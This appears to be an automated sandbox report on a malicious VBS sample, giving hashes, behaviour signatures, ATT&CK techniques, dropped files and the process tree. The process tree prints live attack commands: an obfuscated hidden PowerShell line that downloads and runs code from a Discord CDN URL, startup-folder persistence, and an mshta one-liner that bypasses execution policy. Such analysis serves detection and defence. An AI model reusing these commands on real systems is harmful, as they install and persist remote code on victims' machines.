e147c36f7e37e928c129b2337c90bda770f4cd437899932c723fd9d5392859ed

General

Target

e147c36f7e37e928c129b2337c90bda770f4cd437899932c723fd9d5392859ed.vbs
Size

828B
MD5

9af0d5fbc14e3ac0ae409dfef6e04228
SHA1

931b3139830e5485f198bb72ecba50475e4c8df2
SHA256

e147c36f7e37e928c129b2337c90bda770f4cd437899932c723fd9d5392859ed
SHA512

fdca50df12edb4d7784a3c769908a695221456e8729b7ec61ec86b8328a18040c5aca7f2d6879f336b6c1a44b1323a8f1f05ff6dd14a4cbd9f233fedcd019f0e

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

7 2020 powershell.exe
Drops startup file 1 IoCs

Processes:

powershell.exe

description ioc process

File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Login1.vbs powershell.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Modifies Internet Explorer settings 1 TTPs 1 IoCs
adware spyware

Modify Registry
T1112

Processes:

mshta.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main mshta.exe
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exepowershell.exe

pid process

2020 powershell.exe
2020 powershell.exe
1252 powershell.exe
1252 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 2020 powershell.exe
Token: SeDebugPrivilege 1252 powershell.exe

flow	pid	process
7	2020	powershell.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Login1.vbs	powershell.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

pid	process
2020	powershell.exe
2020	powershell.exe
1252	powershell.exe
1252	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2020	powershell.exe
Token: SeDebugPrivilege	1252	powershell.exe

Suspicious use of WriteProcessMemory 15 IoCs

Processes:

WScript.exepowershell.exeWScript.execmd.exemshta.exe

description	pid	process	target process
PID 1100 wrote to memory of 2020	1100	WScript.exe	powershell.exe
PID 1100 wrote to memory of 2020	1100	WScript.exe	powershell.exe
PID 1100 wrote to memory of 2020	1100	WScript.exe	powershell.exe
PID 2020 wrote to memory of 696	2020	powershell.exe	WScript.exe
PID 2020 wrote to memory of 696	2020	powershell.exe	WScript.exe
PID 2020 wrote to memory of 696	2020	powershell.exe	WScript.exe
PID 696 wrote to memory of 324	696	WScript.exe	cmd.exe
PID 696 wrote to memory of 324	696	WScript.exe	cmd.exe
PID 696 wrote to memory of 324	696	WScript.exe	cmd.exe
PID 324 wrote to memory of 1456	324	cmd.exe	mshta.exe
PID 324 wrote to memory of 1456	324	cmd.exe	mshta.exe
PID 324 wrote to memory of 1456	324	cmd.exe	mshta.exe
PID 1456 wrote to memory of 1252	1456	mshta.exe	powershell.exe
PID 1456 wrote to memory of 1252	1456	mshta.exe	powershell.exe
PID 1456 wrote to memory of 1252	1456	mshta.exe	powershell.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\e147c36f7e37e928c129b2337c90bda770f4cd437899932c723fd9d5392859ed.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:1100

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExEcUtIoNPoLiCy ByPAsS -wInDoWStYlE hIdDEn -command Invoke-Expression(New-Object Net.WebClient).(-join [char[]](68,111,119,110,108,111,97,100,83,116,114,105,110,103)).Invoke('https://cdn.discordapp.com/attachments/876945743724822550/877222584595402823/Fucking.txt');$results
2⤵
- Blocklisted process makes network request
- Drops startup file
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2020

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Login1.VBS"
3⤵
- Suspicious use of WriteProcessMemory
PID:696

C:\Windows\System32\cmd.exe
cmd /c ""C:\Users\Admin\AppData\Roaming\SystemLogin.bat" "
4⤵
- Suspicious use of WriteProcessMemory
PID:324

C:\Windows\system32\mshta.exe
mshta vbscript:Execute("CreateObject(""WScript.Shell"").Run ""powershell -ExecutionPolicy Bypass & 'C:\Users\Public\myScript.ps1'"", 0:close")
5⤵
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:1456

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass & 'C:\Users\Public\myScript.ps1'
6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1252

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
MD5
715a8616bed900968c1073f51a046daa

SHA1
995665c72cfa9c88d8edab3e6212b17ac479aab8

SHA256
0d433c2cd57ed977bf3681c0b0eb87acf21a237647eee1afd741c008fe22740e

SHA512
8c99f8ba6b03e4bca03116132dd93bea84e8fd0e49a0f7b67d46533e0e735a0c3301bde4c18e6e45659e8fa3f68fcf12c78017d9740c5220d76bfe4b2908a8a1

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
MD5
614da39dd1b9bc0cad2bf9331f98340c

SHA1
72dd5336860a1a3e500f779f78a935d84970c14d

SHA256
266e4fb9d33676d994247bd0136bf588f7811cf2c325fa82fddbd77a6d8c7663

SHA512
e846c6a133551925df78c7029a9051f390736acc13ce75a7ab64e91e4283f785aa057af8427b1b0f01320685647bb3021d1bdc09ea6baa8d6d7bbb2a2c86196c

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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Login1.VBS
MD5
558a8b7b3fdef4ca79110f8cfd126694

SHA1
d6e96ca27f701b3f4c24885dacd14c762a9d36b0

SHA256
38c9b7098371b39e61a6dcf78370dddf47f4d2be2c32704a2a0310b76c52c0f7

SHA512
37d6d72d5f518aaf1cf37154ed75aec7c7f11677508874eb3c3cbf44ca0ebeb22112dfa5f45a2f5d821604c521092ef768016d83f948444a9ff2e2a812d1c283

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C:\Users\Admin\AppData\Roaming\SystemLogin.bat
MD5
7f85382953fde20b101039d48673dbd2

SHA1
5ebaa67f5862b2925d9029f4761b7e2ce9a99dd9

SHA256
fde417ad1b13a97acfa8e409789a92c4c3ddf6303851337ca31b94bfac634e4f

SHA512
6e93b74237844e1f78cd3ae64c0a00702c0b1aa1febda2feb52ca99b8a58ab2efd0c7b8351f040bf56a8bc1a8f5b1f57c4a9ffed46f8a2f9cba898e8e138ce46

Download Submit
C:\Users\Public\myScript.ps1
MD5
317f5c7ef5b887966f963c21a60e2889

SHA1
5078bdb3e7376202c7253a8b428a360e1c047863

SHA256
cd7143c00ef7711ccdcc6877d6d393e4f6e2bb2aef26bf2214b81e660f7c7cdd

SHA512
e4d6590082671997ef08550d48b5ff43dd63a1811c4b883bbe75a9a5e22087b5928be43e624632bdaf8c01d4334ae397c672d1695900d1bd25e7a27a03b10750

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memory/324-76-0x0000000000000000-mapping.dmp

Download
memory/696-72-0x0000000000000000-mapping.dmp

Download
memory/1100-60-0x000007FEFBAA1000-0x000007FEFBAA3000-memory.dmp

Filesize
8KB

Download
memory/1252-85-0x000000001AC34000-0x000000001AC36000-memory.dmp

Filesize
8KB

Download
memory/1252-78-0x0000000000000000-mapping.dmp

Download
memory/1252-84-0x000000001AC30000-0x000000001AC32000-memory.dmp

Filesize
8KB

Download
memory/1252-91-0x0000000002520000-0x0000000002522000-memory.dmp

Filesize
8KB

Download
memory/1456-77-0x0000000000000000-mapping.dmp

Download
memory/2020-66-0x0000000001E10000-0x0000000001E11000-memory.dmp

Filesize
4KB

Download
memory/2020-71-0x000000001B610000-0x000000001B611000-memory.dmp

Filesize
4KB

Download
memory/2020-70-0x0000000001FE0000-0x0000000001FE2000-memory.dmp

Filesize
8KB

Download
memory/2020-69-0x000000001B9E0000-0x000000001B9E1000-memory.dmp

Filesize
4KB

Download
memory/2020-68-0x0000000002974000-0x0000000002976000-memory.dmp

Filesize
8KB

Download
memory/2020-67-0x0000000001E40000-0x0000000001E41000-memory.dmp

Filesize
4KB

Download
memory/2020-61-0x0000000000000000-mapping.dmp

Download
memory/2020-63-0x0000000002970000-0x0000000002972000-memory.dmp

Filesize
8KB

Download
memory/2020-65-0x000000001AD60000-0x000000001AD61000-memory.dmp

Filesize
4KB

Download
memory/2020-64-0x0000000001CA0000-0x0000000001CA1000-memory.dmp

Filesize
4KB

Download

Analysis

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